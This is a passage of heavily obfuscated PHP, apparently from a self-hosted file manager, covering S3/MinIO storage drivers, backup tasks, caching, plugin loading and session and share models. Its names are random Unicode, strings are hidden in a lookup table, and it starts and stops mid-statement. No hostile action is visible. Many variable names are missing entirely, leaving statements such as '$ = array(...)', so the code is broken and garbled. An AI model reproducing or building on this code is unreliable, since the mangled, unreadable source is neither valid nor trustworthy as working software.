$뙪[$[84]][$ع] = $this->folderInfo($ے, $ַ, $ے); } foreach ($뙪[$[85]] as $ع => $ے) { $뙪[$[85]][$ع] = $this->fileInfo($ے[$[32]], $ַ, $ے); } return $뙪; } protected function infoChildren($ڔ, &$̇) { $ =& $_SERVER[ʇ]; $ = $this->fileList($ڔ, $[12], !0); $̇[$[80]] += count($[$[84]]); $̇[$[79]] += count($[$[85]]); foreach ($[$[85]] as $򲤦) { if (!$򲤦 || !$򲤦[$[78]]) { continue; } $̇[$[78]] += $򲤦[$[78]]; } } private function fileInfo($, $ñ = false, $߫ = array()) { $ =& $_SERVER[ʇ]; $ = array($[32] => $this->pathThis($), $[86] => $this->getPathOuter($), $[33] => $[216], $[177] => $this->ext($), $[78] => isset($߫[$[78]]) ? $߫[$[78]] : 0); if ($ñ) { return $; } $[$[217]] = $[$[87]] = 0; $[$[218]] = $[$[219]] = !0; if (empty($߫)) { $߫ = $this->objectMeta($); if (!$߫) { return $; } } if (isset($߫[$[220]]) && $߫[$[220]]) { $[$[221]] = $߫[$[220]]; } if (isset($߫[$[196]])) { $[$[87]] = $߫[$[196]]; } if (isset($߫[$[78]])) { $[$[78]] = $߫[$[78]]; } return $; } private function folderInfo($ܒ, $ = false, $՗ = array()) { $⼯ =& $_SERVER[ʇ]; $͎ = array($⼯[32] => $this->pathThis($ܒ), $⼯[86] => $this->getPathOuter($⼯[8] . $ܒ), $⼯[33] => $⼯[77]); if ($) { return $͎; } $͎[$⼯[217]] = $͎[$⼯[87]] = 0; $͎[$⼯[218]] = $͎[$⼯[219]] = !0; if ($ܒ == $⼯[12]) { return $͎; } if (empty($՗)) { $՗ = $this->objectMeta(trim($ܒ, $⼯[8]) . $⼯[8]); } if (isset($՗[$⼯[196]])) { $͎[$⼯[217]] = $՗[$⼯[196]]; } return $͎; } private function fileList($ƶߏ, $ճ = '', $ = 0) { $ =& $_SERVER[ʇ]; $Ӓ = rtrim($ƶߏ, $[8]) . $[8]; $藦ُ = $this->listObjs($Ӓ, null, null, $ճ); if (!$藦ُ) { return array($[84] => array(), $[85] => array()); } $ = $߶ = array(); foreach ($藦ُ[$[222]] as $) { $Խ = $[$[32]]; if ($Խ == $Ӓ) { continue; } $ܲ = isset($[$[78]]) ? $[$[78]] : 0; $ܦͪ = $ܲ == 0 && substr($Խ, strlen($Խ) - 1, 1) == $[8] ? !0 : !1; $this->cacheMethodInfoSet($Խ, $ܦͪ, $); if ($ܦͪ) { $[] = $Խ; continue; } $߶[] = $ ? $ : $Խ; } foreach ($藦ُ[$[223]] as $) { $[] = $[$[32]]; $this->cacheMethodInfoSet($[$[32]], !0); } $this->cacheMethodInfoSet($ƶߏ, !0); return array($[84] => $, $[85] => $߶); } private function listObjs($, $璇ޯ = null, $ = null, $ = null) { $˪Ů =& $_SERVER[ʇ]; $ = trim($, $˪Ů[8]); $߷ = empty($) && $ !== $˪Ů[214] ? $˪Ů[12] : $ . $˪Ů[8]; return $this->client->getBucket($this->bucket, $߷, $璇ޯ, $, $, !0); } public function has($塻, $ؼޕ = false, $⠬ = true) { $ʼ =& $_SERVER[ʇ]; $塻 = trim($塻, $ʼ[8]); $ = empty($塻) && $塻 !== $ʼ[214] ? $ʼ[12] : $塻 . $ʼ[8]; $ = null; $ = 500; $䑬 = $ʼ[8]; $ = $ܩ = array(); while (!0) { $҂ = $this->listObjs($塻, $, $, $䑬); if (!$҂) { break; } $ = $҂[$ʼ[224]]; $؂ = $҂[$ʼ[222]]; $ = $҂[$ʼ[223]]; if (empty($؂) && empty($)) { break; } if (count($؂) == 1 && $؂[0][$ʼ[32]] == $) { break; } if ($ؼޕ) { if (count($؂)) { $؂ = array_column($؂, $ʼ[32]); $ = array_merge($, $؂); } if (count($)) { $ = array_column($, $ʼ[32]); $ܩ = array_merge($ܩ, $); } if ($ === null) { break; } continue; } if ($⠬) { if (!empty($؂)) { if (count($؂) > 1 || isset($؂[0][$ʼ[32]]) && $؂[0][$ʼ[32]] != $) { return !0; } } } else { if (!empty($)) { return !0; } } if ($ === null) { break; } } if ($ؼޕ) { $ = array_diff($, array($)); $ = count(array_unique($)); $ܩ = count(array_unique($ܩ)); return array($ʼ[225] => $, $ʼ[226] => $ܩ); } return !1; } public function listAll($疎) { $Ь =& $_SERVER[ʇ]; $Ձ̓ = $this->fileList($疎, $Ь[12], !0); $ = array_to_keyvalue($Ձ̓[$Ь[85]], $Ь[32]); foreach ($Ձ̓[$Ь[84]] as $) { if (is_string($)) { $[$] = array($Ь[78] => 0); } } return $this->listAllFiles($疎, $); } public function canRead($욉) { $ѣ =& $_SERVER[ʇ]; $ = $this->client->getAccessControlPolicy($this->bucket, $욉); if (!$) { return !1; } return in_array($, array($ѣ[227], $ѣ[228], $ѣ[229])) ? !0 : !1; } public function canWrite($) { $Ґ =& $_SERVER[ʇ]; $ = $this->client->getAccessControlPolicy($this->bucket, $); if (!$) { return !1; } return in_array($, array($Ґ[227], $Ґ[228])) ? !0 : !1; } public function getContent($ܵ) { return $this->client->getObject($this->bucket, $ܵ); } public function setContent($, $ = '', $շ = false) { $Ρ =& $_SERVER[ʇ]; $ = $շ ? trim($, $Ρ[8]) . $Ρ[8] : $; $ɼ = get_file_mime(get_path_ext($)); $݊ = $this->client->putObject($, $this->bucket, $, $Ρ[215], array(), $ɼ); if (!$݊) { return !1; } if ($շ) { return !0; } $this->cacheMethod(null, null); $݊ = $this->copyFile($, $, array($Ρ[230] => $݊[$Ρ[220]])); return $݊ ? !0 : !1; } public function fileSubstr($, $ۡ, $ޏ) { $ = $ۡ + $ޏ - 1; return $this->client->getObject($this->bucket, $, array($_SERVER[ʇ][231] => "\142\x79\x74\145\x73\75{$ۡ}\x2d{$}")); } public function upload($ݗ, $ߙ, $ = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[ʇ]; $ = array($[230] => @md5_file($ߙ)); $ = array($[232] => get_file_mime(get_path_ext($ݗ))); if (IO::size($ߙ) <= 1024 * 1024 * 200) { $񮩖 = $this->client->putObjectFile($ߙ, $this->bucket, $ݗ, $[215], $, $); return !empty($񮩖) ? $this->getPathOuter($ݗ) : !1; } $ = $this->client->multiUploadObject($ߙ, $this->bucket, trim($ݗ, $[8]), $, $); return $ ? $this->getPathOuter($ݗ) : !1; } public function download($ߖ, $) { if (!@is_dir($this->pathFather($)) && !IO::mkdir($this->pathFather($))) { return !1; } $̑ = $this->client->getObject($this->bucket, $ߖ, array(), $); return $̑ !== !1 ? $ : !1; } public function link($γʦ, $ǖ = array()) { $炧 =& $_SERVER[ʇ]; if ($this->signVer == $炧[233]) { return $this->client->getAuthenticatedURL($this->bucket, $γʦ, 3600 * 12, $ǖ); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($γʦ, $炧[8]), 3600 * 12, $this->region, array(), !0, $ǖ); } public function fileOut($, $ = false, $DŽ = false, $ꮗ = '') { $Ǧ =& $_SERVER[ʇ]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $DŽ, $ꮗ); } if (!$DŽ) { $DŽ = $this->pathThis($); } $ = get_file_mime(get_path_ext($DŽ)); if ($ == $Ǧ[234]) { return parent::fileOut($, $, $DŽ, $ꮗ); } $Ϣ = array($Ǧ[235] => $); if ($) { $Ϣ[$Ǧ[236]] = $Ǧ[237] . rawurlencode($DŽ); } else { } $ = $this->link($, $Ϣ); $this->fileOutLink($); } public function fileOutServer($œ, $Ӝ = false, $Ư = false, $ = '') { parent::fileOut($œ, $Ӝ, $Ư, $); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($, $ = '') { $ =& $_SERVER[ʇ]; $ϟ = $this->objectMeta($); if (!$ϟ) { return !1; } $ = $ ? $ : _get($ϟ, $[238]); $ = $ ? $ : _get($ϟ, $[220], $[12]); return $; } public function uploadFormData($㹗, $ = 3600) { $ýװ =& $_SERVER[ʇ]; $˟ = $this->pathFather($㹗); $숤 = $this->client->getHttpUploadPostParams($this->bucket, $˟, $ýװ[215], $); return array_merge((array) $숤, array($ýװ[198] => $this->getHost())); } public function multiUploadFormData($񥼳, $ʅ = 3600) { $ع =& $_SERVER[ʇ]; $䤩 = gmdate($ع[239]); $ҏ˘ = array(); $ƿ = $this->client->getUploadId($this->bucket, $񥼳, $ҏ˘); if (!$ƿ) { return !1; } return array($ع[240] => $ƿ, $ع[198] => $this->getHost() . $ع[8] . $this->pathEncode($񥼳), $ع[241] => $䤩, $ع[96] => $񥼳); } public function multiUploadAuthData($͒Ч, $Ȧԏ = array()) { $ʥ =& $_SERVER[ʇ]; $鋔 = isset($Ȧԏ[$ʥ[241]]) ? $Ȧԏ[$ʥ[241]] : gmdate($ʥ[239]); $ݷ = isset($Ȧԏ[$ʥ[177]]) ? $Ȧԏ[$ʥ[177]] : $ʥ[12]; $Ț = $Ȧԏ[$ʥ[96]]; unset($Ȧԏ[$ʥ[96]]); if (isset($Ȧԏ[$ʥ[242]])) { $Ȧԏ[$ʥ[241]] = $鋔; return $this->listUploadParts($Ț, $Ȧԏ); } $ = array($ʥ[243], $ʥ[12], $ʥ[122], $ʥ[12], "\170\x2d\x61\x6d\x7a\x2d\x64\x61\164\x65\72{$鋔}", $ʥ[8] . $this->bucket . $ʥ[8] . $this->pathEncode($Ț) . $ݷ); if (strpos($ݷ, $ʥ[244]) === 0) { $[0] = $ʥ[245]; } if (isset($Ȧԏ[$ʥ[246]]) && $Ȧԏ[$ʥ[246]] == $ʥ[247]) { $[0] = $ʥ[247]; } $΃಺ = implode($ʥ[248], $); $ۗ뉵 = base64_encode(hash_hmac($ʥ[249], $΃಺, $this->secret, !0)); $ = $ʥ[250] . $this->accessKey . $ʥ[4] . $ۗ뉵; if (strpos($ݷ, $ʥ[244]) === 0) { return array($ʥ[251] => $, $ʥ[241] => $鋔); } return $; } public function listUploadParts($, $ = array()) { $ =& $_SERVER[ʇ]; $У = str_replace($[252], $[12], $[$[177]]); $ܾ = $this->client->listParts($this->bucket, $, $У); if (!$ܾ) { return !1; } unset($[$[242]], $[$[246]]); $[$[96]] = $; $ = $this->multiUploadAuthData($, $); if (empty($)) { return !1; } return array($[251] => $, $[241] => $[$[241]], $[253] => $ܾ); } public function getHost() { return parent::getHost() . $_SERVER[ʇ][8] . $this->bucket; } public function size($щ) { $ = $this->objectMeta($щ); return $ ? $[$_SERVER[ʇ][78]] : 0; } public function info($ޑ) { if ($this->isFolder($ޑ)) { return $this->folderInfo($ޑ); } else { if ($this->isFile($ޑ)) { return $this->fileInfo($ޑ); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($۸) { return !$this->isFolder($۸) && $this->objectMeta($۸); } public function isFolder($) { return $this->cacheMethod($_SERVER[ʇ][168], $); } protected function objectMeta($խ) { return $this->cacheMethod($_SERVER[ʇ][170], $խ); } protected function _objectMeta($֪) { $ۖ =& $_SERVER[ʇ]; $֪ = rtrim($֪, $ۖ[8]); try { $Կݘ = $this->client->getObjectInfo($this->bucket, $֪); if (!isset($Կݘ[$ۖ[238]]) && isset($Կݘ[$ۖ[254]])) { $Կݘ[$ۖ[238]] = $Կݘ[$ۖ[254]]; } } catch (Exception $匿) { $Կݘ = !1; } if (!$Կݘ) { } return $Կݘ; } protected function _isFolder($ӥ) { $ =& $_SERVER[ʇ]; $ӥ = rtrim($ӥ, $[8]); if ($ӥ == $[12] || $ӥ == $[8]) { return !0; } $ճϧ = $this->client->getBucket($this->bucket, $ӥ, null, 1); if (empty($ճϧ[$[222]])) { return !1; } $ֵ = $ճϧ[$[222]][0][$[32]]; return stripos($ֵ, $ӥ . $[8]) === 0 ? !0 : !1; if (substr($ֵ, -1) == $[8]) { return !0; } if (get_path_this($ֵ) == get_path_this($ӥ)) { return !1; } return !0; } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($뙁) { parent::__construct($뙁); $this->signatureVersion($_SERVER[ʇ][233]); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function uploadFormData($̧̂, $Գ = 3600) { $ =& $_SERVER[ʇ]; $裨 = $[215]; $稓 = $[255]; $ = $[62]; $ߘ = gmdate($[256]); $ = gmdate($[257]); $ = $[258]; $ɂܒ = $Գ . $[12]; $ã = $[259]; $ = array($this->accessKey, $, $this->region, $, $); $欧 = implode($[8], $); $޿ = array($[260] => gmdate($[261], strtotime($[262])), $[263] => array(array($[264] => $this->bucket), array($[265] => $裨), array($[266], $[267], $[12]), array($[266], $[268], $[12]), array($[266], $[269], $[12]), array($[270] => $ã), array($[271] => $欧), array($[272] => $稓), array($[273] => $ߘ), array($[274] => $ɂܒ))); $ƢԹ = base64_encode(json_encode($޿)); $ƻ = hash_hmac($[275], $, $[276] . $this->secret, !0); $۫ = hash_hmac($[275], $this->region, $ƻ, !0); $ݡ = hash_hmac($[275], $, $۫, !0); $ń = hash_hmac($[275], $, $ݡ, !0); $ = hash_hmac($[275], $ƢԹ, $ń); $ᕍ = array($[232] => $[12], $[277] => $[12], $[265] => $裨, $[270] => $ã, $[278] => $ƢԹ, $[279] => $欧, $[280] => $稓, $[281] => $ߘ, $[282] => $ɂܒ, $[283] => $, $[198] => $this->getHost()); return $ᕍ; } } goto Dʬ; dг: class BackupDbFile { public function __construct() { } public function index() { $ =& $_SERVER[ʇ]; $ςʡ = Backup::get(); $ = $ςʡ[$[32]]; $ª = $this->tmpFilesPath() . "\142\141\143\153\x75\x70\137{$}\x2f"; $ = $this->backupPath($ςʡ); if (!($ = IO::mkdir($))) { return !1; } $ = IO::listPath($ª); $ӽ = isset($[$[85]]) ? $[$[85]] : array(); $ = array_sum(array_column($ӽ, $[78])); if (!$) { return !1; } $դ̕ = array($[844] => $, $[845] => time()); Backup::set($դ̕); $ = new TaskFileTransfer($[846], $[819], count($ӽ), LNG($[820]) . $[432] . LNG($[822]) . $[847]); $->task[$[802]] = $; foreach ($[$[85]] as $⤒) { $ = IO::move($⤒[$[86]], $); if (!$) { $->end(); $ɘ = IO::getLastError($[848] . $⤒[$[86]] . $[849] . $ . $[167]); write_log($ɘ, $[819]); return !1; } } $ֽ = new DbManage(); $ۆ = $ֽ->getSqlFile(); if (!$ۆ[$[850]] || !$ۆ[$[13]]) { return !1; } IO::move($ۆ[$[850]], $); IO::move($ۆ[$[13]], $); $->end(); $դ̕ = array($[851] => $, $[852] => time()); Backup::set($դ̕); return !0; } private function backupPath($) { $׫ =& $_SERVER[ʇ]; $ˈ̃ = $[$׫[32]]; $ۈ = Model($׫[809])->get($׫[810]); $ڟ = substr(md5($׫[811] . $ۈ . $ˈ̃), 0, 8); return "\x7b\x69\157\72{$[$׫[790]]}\175\57\x64\x61\164\141\142\x61\163\145\57\142\x61\143\x6b\165\x70\x2f" . $ˈ̃ . $׫[11] . $ڟ; } private function tmpFilesPath() { $ =& $_SERVER[ʇ]; $Ҍ = TEMP_FILES; if ($GLOBALS[$[6]][$[91]][$[835]]) { $Ҍ = $GLOBALS[$[6]][$[91]][$[835]]; if (!mk_dir($Ҍ) || !is_writable($Ҍ) || !IO::mkfile($Ҍ . $[836])) { $Ҍ = TEMP_FILES; } } return $Ҍ; } } class BackupFile { public function __construct() { } public function index() { $ = Backup::get(); $ = $[$_SERVER[ʇ][339]][$_SERVER[ʇ][216]][$_SERVER[ʇ][511]]; $⚿ٻ = array($_SERVER[ʇ][512] => array($_SERVER[ʇ][853], $), $_SERVER[ʇ][854] => array($_SERVER[ʇ][377], $[$_SERVER[ʇ][790]])); $ = (int) Model($_SERVER[ʇ][828])->where($⚿ٻ)->count($_SERVER[ʇ][511]); $ڿ؀ = (int) Model($_SERVER[ʇ][828])->where($⚿ٻ)->sum($_SERVER[ʇ][78]); $Ҵ = new TaskFileTransfer($_SERVER[ʇ][855], $_SERVER[ʇ][819], $, LNG($_SERVER[ʇ][820]) . $_SERVER[ʇ][821] . LNG($_SERVER[ʇ][856])); $Ҵ->task[$_SERVER[ʇ][802]] = $ڿ؀; $ = array($_SERVER[ʇ][857] => $, $_SERVER[ʇ][858] => $ڿ؀, $_SERVER[ʇ][859] => time()); Backup::set($); $ = !0; $ = $this->storeIds(); $ = 1; $Ԭ = 1000; $ғ = $ = 0; $ = array(); $͌ = $ߙ = 0; do { $Ą΀ = $_SERVER[ʇ][860]; $ = Model($_SERVER[ʇ][828])->where($⚿ٻ)->field($Ą΀)->order($_SERVER[ʇ][861])->selectPage($Ԭ, $); $ = !empty($[$_SERVER[ʇ][415]]) ? $[$_SERVER[ʇ][415]] : array(); foreach ($ as $) { if (!$this->_fileExist($, $, $)) { $ -= 1; $ڿ؀ -= (int) $[$_SERVER[ʇ][78]]; write_log("\146\151\x6c\x65\40\x6e\x6f\164\40\x65\x78\151\x73\164\56\x66\151\154\145\x49\x44\72{$[$_SERVER[ʇ][511]]}\x2c\40\160\141\x74\150\x3a{$[$_SERVER[ʇ][86]]}", $_SERVER[ʇ][862]); continue; } $ = $[$_SERVER[ʇ][86]]; $߶ = "\173\151\x6f\x3a{$[$_SERVER[ʇ][790]]}\x7d" . substr($, strlen("\x7b\151\157\x3a{$[$_SERVER[ʇ][863]]}\x7d")); if (IO::exist($߶)) { $Ҵ->updateFileEnd($[$_SERVER[ʇ][32]], $[$_SERVER[ʇ][78]]); } else { $߶ = get_path_father($߶); IO::mkdir($߶); if (!IO::copy($, $߶, $_SERVER[ʇ][864])) { write_log($_SERVER[ʇ][865] . $ . $_SERVER[ʇ][849] . $߶ . $_SERVER[ʇ][167], $_SERVER[ʇ][819]); $ = !1; break; } } $ = $[$_SERVER[ʇ][511]]; $ += 1; $ғ += $[$_SERVER[ʇ][78]]; $ߙ += 1; $͌ += $[$_SERVER[ʇ][78]]; if ($ғ >= 1024 * 1024 * 100) { $ = array($_SERVER[ʇ][866] => $, $_SERVER[ʇ][867] => $ߙ, $_SERVER[ʇ][868] => $͌); Backup::set($); $ғ = $ = 0; } } $ж = count($); $++; } while ($ж == $Ԭ); $Ҵ->end(); $ = array($_SERVER[ʇ][869] => 1, $_SERVER[ʇ][800] => time(), $_SERVER[ʇ][814] => 1, $_SERVER[ʇ][866] => $, $_SERVER[ʇ][858] => $ڿ؀, $_SERVER[ʇ][857] => $, $_SERVER[ʇ][870] => time()); if ($) { $[$_SERVER[ʇ][867]] = $ߙ; $[$_SERVER[ʇ][868]] = $͌; } Backup::set($); $this->_fileFilter($); return !0; } private function _fileExist($, &$, $) { $ċ =& $_SERVER[ʇ]; $郸 = $[$ċ[86]]; if (in_array($[$ċ[511]], $)) { return !1; } if (!in_array($[$ċ[863]], $)) { return !1; } if (IO::exist($郸)) { return !0; } $ = get_path_father($郸); if (IO::exist($)) { $[] = $[$ċ[511]]; return !1; } $ = array($ċ[863] => $[$ċ[863]], $ċ[86] => array($ċ[429], "{$}\x25")); $񎽟 = Model($ċ[828])->where($)->field($ċ[512])->select(); $ = array_merge($, array_to_keyvalue($񎽟, $ċ[12], $ċ[511])); return !1; } private function _fileFilter($݊) { $ =& $_SERVER[ʇ]; if (empty($݊)) { return; } $ӵ = array($[511] => array($[7], array_unique($݊))); $ʼn = Model($[871])->where($ӵ)->field($[183])->select(); foreach ($ʼn as $Ӯ) { Model($[871])->remove($Ӯ[$[183]], !1); } } private function storeIds() { $纗 =& $_SERVER[ʇ]; $ = Model($纗[806])->listData(); $ = array(); $ꗺ = $GLOBALS[$纗[6]][$纗[91]][$纗[872]]; foreach ($ as $) { $򧴟ǽ = strtolower($[$纗[97]]); if (!isset($ꗺ[$򧴟ǽ])) { continue; } $حү = $纗[76] . (isset($ꗺ[$򧴟ǽ]) ? $ꗺ[$򧴟ǽ] : ucfirst($򧴟ǽ)); if (!class_exists($حү)) { continue; } $[] = $[$纗[445]]; } return $; } } class Cache { protected static $handle; protected static $memoryCache; public static function init() { $֌ =& $_SERVER[ʇ]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $ = $GLOBALS[$֌[6]][$֌[395]]; $ = $[$[$֌[873]]]; $踫 = $[$֌[874]]; switch ($[$֌[873]]) { case $֌[21]: self::$handle = Model($֌[875]); break; case $֌[876]: self::$handle = new CacheRedis($, $踫); break; case $֌[877]: self::$handle = new CacheMemcached($, $踫); break; case $֌[216]: self::$handle = new CacheFile($, $踫); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($) { if (is_array($) || is_object($)) { $ = json_encode($); } $ = rawurlencode($); return md5(KOD_SITE_ID . $_SERVER[ʇ][11] . $); } public static function get($, $ = false) { $ = self::key($); $ = self::init(); if ($) { return unserialize($->get($)); } if (!isset(self::$memoryCache[$])) { $ιϑ = $->get($); self::$memoryCache[$] = unserialize($ιϑ); } return self::$memoryCache[$]; } public static function set($Բ, $̀, $ = false) { $о =& $_SERVER[ʇ]; $¯ = self::key($Բ); if (isset(self::$memoryCache[$¯]) && self::$memoryCache[$¯] === $̀) { return !0; } if ($ === 0) { self::$memoryCache[$¯] = $̀; return !0; } $ = self::init(); $ޏԁ = serialize($̀); CacheLock::lock($Բ . $о[878]); $ = $->set($¯, $ޏԁ, $); self::$memoryCache[$¯] = $̀; CacheLock::unlock($Բ . $о[878]); return $; } public static function getCall($݉, $⇷, $, $Ƀ = array()) { $屍 =& $_SERVER[ʇ]; $ɵ = self::get($݉); if ($ɵ || $ɵ === $屍[12]) { return $ɵ; } $ɵ = call_user_func_array($, $Ƀ); $ɵ = $ɵ ? $ɵ : $屍[12]; self::set($݉, $ɵ, $⇷); return $ɵ; } public static function remove($ֽ) { $竪 = self::key($ֽ); unset(self::$memoryCache[$竪]); self::clearTimeout(); CacheLock::lock($ֽ); $ = self::init()->remove($竪); CacheLock::unlock($ֽ); return $; } public static function removeMemory($ִ) { $ׂ = self::key($ִ); unset(self::$memoryCache[$ׂ]); } public static function clearMemory($̶Ä = false) { if ($̶Ä) { $̶Ä = self::key($̶Ä); unset(self::$memoryCache[$̶Ä]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[ʇ][879])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[ʇ][880])) { self::init()->clearTimeout(); } } } goto A̽; FŌ: class PluginModel extends ModelBaseLight { public $optionType = "\x53\171\163\x74\145\155\56\x70\x6c\x75\147\151\156\x4c\x69\163\x74"; public $field = array("\156\141\x6d\x65", "\x73\x74\x61\164\x75\163", "\162\145\x67\151\x65\163\x74", "\143\157\x6e\x66\151\x67"); public function loadList($ = false) { $ݘ = array_to_keyvalue($this->listData(), $_SERVER[ʇ][32]); if ($) { return $ݘ[$]; } return $ݘ; } public function init() { $΁ =& $_SERVER[ʇ]; Hook::trigger($΁[2019]); $ = $this->loadPluginList(); foreach ($ as $Ѓ => $ߑ) { $̖ = $this->appAllow($Ѓ, $ߑ); if (!$̖) { continue; } foreach ($ߑ[$΁[2020]] as $ => $̰) { Hook::bind($, $̰); } } Hook::trigger($΁[2021]); Hook::trigger(ACTION); } public function appAllow($ď, $ּ, $Ѻ = true) { $ =& $_SERVER[ʇ]; $ = PLUGIN_DIR . $ď . $[2022]; if (!is_array($ּ) || !is_array($ּ[$[2020]]) || $ּ[$[789]] != 1 || !is_file($)) { return !1; } if (KodUser::isRoot()) { if ($GLOBALS[$[6]][$[2023]] || !$GLOBALS[$[6]][$[2024]]) { return !0; } $ = explode($[50], strtolower($GLOBALS[$[6]][$[2024]])); return in_array(strtolower($ď), $) ? !1 : !0; } if ($Ѻ && !Action($[2025])->checkAuth($ď)) { return !1; } return !0; } public function unInstall($) { $ =& $_SERVER[ʇ]; $ڋ = $this->loadList($); if (file_exists(PLUGIN_DIR . $)) { Hook::apply($ . $[2026]); } $this->remove($ڋ[$[445]]); } public function changeStatus($遨Ι, $顧) { $ =& $_SERVER[ʇ]; $ü = $this->loadList($遨Ι); if ($顧) { Hook::apply($遨Ι . $[2027]); } $this->update($ü[$[445]], array($[2028] => $顧)); } public function appRegist($, $ߴ) { $͝ =& $_SERVER[ʇ]; $ي = $this->loadList($); if ($ي) { $this->update($ي[$͝[445]], array($͝[2020] => $ߴ)); } else { $٦ = array($͝[32] => $, $͝[2020] => $ߴ, $͝[789] => 0, $͝[6] => $this->getConfigDefault($)); $this->insert($٦); } } public function getConfigDefault($) { $͞ =& $_SERVER[ʇ]; $츐 = array(); $񹽿 = $this->getPackageJson($); if (!$񹽿 && is_array($񹽿[$͞[2029]])) { return $츐; } foreach ($񹽿[$͞[2029]] as $Ȁ => $ɱ) { if (!isset($ɱ[$͞[420]]) || isset($츐[$Ȁ])) { continue; } $츐[$Ȁ] = $ɱ[$͞[420]]; } return $츐; } public function getPackageJson($) { return Hook::apply($ . $_SERVER[ʇ][2030]); } public function getConfig($, $͉ = false) { $ =& $_SERVER[ʇ]; $ = array(); $ڷ = $this->loadList($); if ($ڷ && is_array($ڷ[$[6]])) { $ = $ڷ[$[6]]; } if (!$ || $͉) { $ = $this->getConfigDefault($); } return $; } public function setConfig($ہ϶, $ = false) { $̉ =& $_SERVER[ʇ]; $ = $this->loadList($ہ϶); if (!$) { return !1; } $߻޵ = $[$̉[6]]; if ($ == !1) { $߻޵ = array(); $ = $this->getConfigDefault($ہ϶); } foreach ($ as $ => $ܱ) { $߻޵[$] = is_string($ܱ) ? trim($ܱ) : $ܱ; } $this->update($[$̉[445]], array($̉[6] => $߻޵)); } public function viewList() { $ =& $_SERVER[ʇ]; $ɂ = $this->loadList(); $this->pluginScan($ɂ); $ɂ = $this->loadPluginList(); $ʡ = array(); foreach ($ɂ as $ => $հ˸) { $ψ = $հ˸; unset($հ˸[$[2020]], $հ˸[$[6]]); $૰ = PLUGIN_DIR . $հ˸[$[32]] . $[2022]; if (!is_file($૰)) { continue; } $Ǫ = Hook::apply($հ˸[$[32]] . $[2030]); if (!is_array($Ǫ)) { continue; } $ʡ[$] = array_merge($հ˸, $Ǫ); if ($ψ[$[6]][$[1616]] != $Ǫ[$[1590]]) { Hook::apply($հ˸[$[32]] . $[2027]); $ψ[$[6]][$[1616]] = $Ǫ[$[1590]]; $this->update($հ˸[$[445]], array($[6] => $ψ[$[6]])); } } return $ʡ; } private function loadPluginList() { $ܥߎ =& $_SERVER[ʇ]; $ = $this->loadList(); if (strtolower(MOD) == $ܥߎ[2031]) { return $; } $̾ = Hook::trigger($ܥߎ[2032], $); if ($ && !$̾) { die; } return $̾ ? $̾ : $; } private function pluginScan($ηף) { $ʯ =& $_SERVER[ʇ]; recursion_dir(PLUGIN_DIR, $½, $, 0); foreach ($½ as $ٍ) { $ = get_path_this($ٍ); if (isset($ηף[$]) || !file_exists($ٍ . $ʯ[2033]) || !file_exists($ٍ . $ʯ[2022])) { continue; } Hook::apply($ . $ʯ[2027]); } } } class SessionModel extends ModelBase { protected $tableName = "\x73\171\163\x74\x65\x6d\137\x73\x65\163\x73\x69\157\156"; public function get($) { $ =& $_SERVER[ʇ]; $ש = $this->where(array($[2034] => $))->find(); if (!is_array($ש)) { return !1; } return $ש[$[793]]; } public function set($͚, $􂲴, $ޞ = 3600) { $ڳ =& $_SERVER[ʇ]; $Լ = array($ڳ[2034] => $͚, $ڳ[1938] => $􂲴, $ڳ[2035] => $ޞ + time()); if (Session::get($ڳ[2036])) { $Լ[$ڳ[1701]] = Session::get($ڳ[2036]); } else { $Լ[$ڳ[1701]] = 0; } if ($this->get($͚)) { return $this->where(array($ڳ[2034] => $͚))->save($Լ); } else { return $this->add($Լ, array(), !0); } } public function remove($) { return $this->where(array($_SERVER[ʇ][2034] => $))->delete(); } public function clearTimeout() { return $this->where($_SERVER[ʇ][2037] . time())->delete(); } } class ShareModel extends ModelBase { protected $tableName = "\x73\x68\x61\x72\x65"; protected $dataAuto = array(array("\x6d\x6f\144\151\x66\171\124\x69\155\x65", "\x74\151\x6d\x65", "\x69\x6e\163\x65\162\164\54\165\x70\144\141\x74\x65", "\146\165\x6e\143\x74\x69\x6f\x6e"), array("\x63\x72\x65\141\164\145\124\x69\155\145", "\x74\151\155\x65", "\x69\x6e\x73\x65\x72\x74", "\x66\x75\156\143\x74\151\x6f\156"), array("\157\x70\x74\x69\x6f\x6e\x73", '', "\151\x6e\163\x65\x72\x74\x2c\x75\160\x64\x61\x74\145\x2c\x73\145\x6c\145\x63\x74", "\x6a\x73\x6f\156")); private $fieldList = "\x2a"; protected function cacheFunctionAlias($Զ) { $诅 =& $_SERVER[ʇ]; $ = isset($Զ[0]) ? $Զ[0] : !1; return array($诅[2038] => array(USER_ID, $诅[2039]), $诅[1979] => array($, $诅[2040])); } protected function listSimple() { $ߑ = array($_SERVER[ʇ][1701] => USER_ID); $ɒ = $this->field($this->fieldList)->where($ߑ)->select(); return $ɒ ? $ɒ : array(); } protected function getInfo($㌶, $׮ = false) { $˙ =& $_SERVER[ʇ]; if ($׮) { return $this->_getShareInfo(array($˙[635] => $㌶)); } $ǟ = $this->cacheFunctionGet($˙[1981], $㌶); return $ǟ; } public function getInfoByHash($Θ) { return $this->_getShareInfo(array($_SERVER[ʇ][2041] => $Θ)); } public function getInfoByPath($®) { $ =& $_SERVER[ʇ]; $ = array($[1701] => USER_ID, $[183] => $®); return $this->_getShareInfo($); } public function getInfoBySourcePath($̮ז) { $۽͵ =& $_SERVER[ʇ]; $ = array($۽͵[1701] => USER_ID, $۽͵[1222] => $̮ז); return $this->_getShareInfo($); } private function _getShareInfo($) { $ם =& $_SERVER[ʇ]; $ͫޯ = $this->where($)->find(); if (!$ͫޯ) { return !1; } $ = array($ם[635] => $ͫޯ[$ם[635]]); $ = $ם[2042]; $ۨ = Model($ם[636])->order($ם[445])->field($)->where($)->select(); if ($ͫޯ[$ם[183]] == $ם[214]) { $ͫޯ[$ם[89]] = 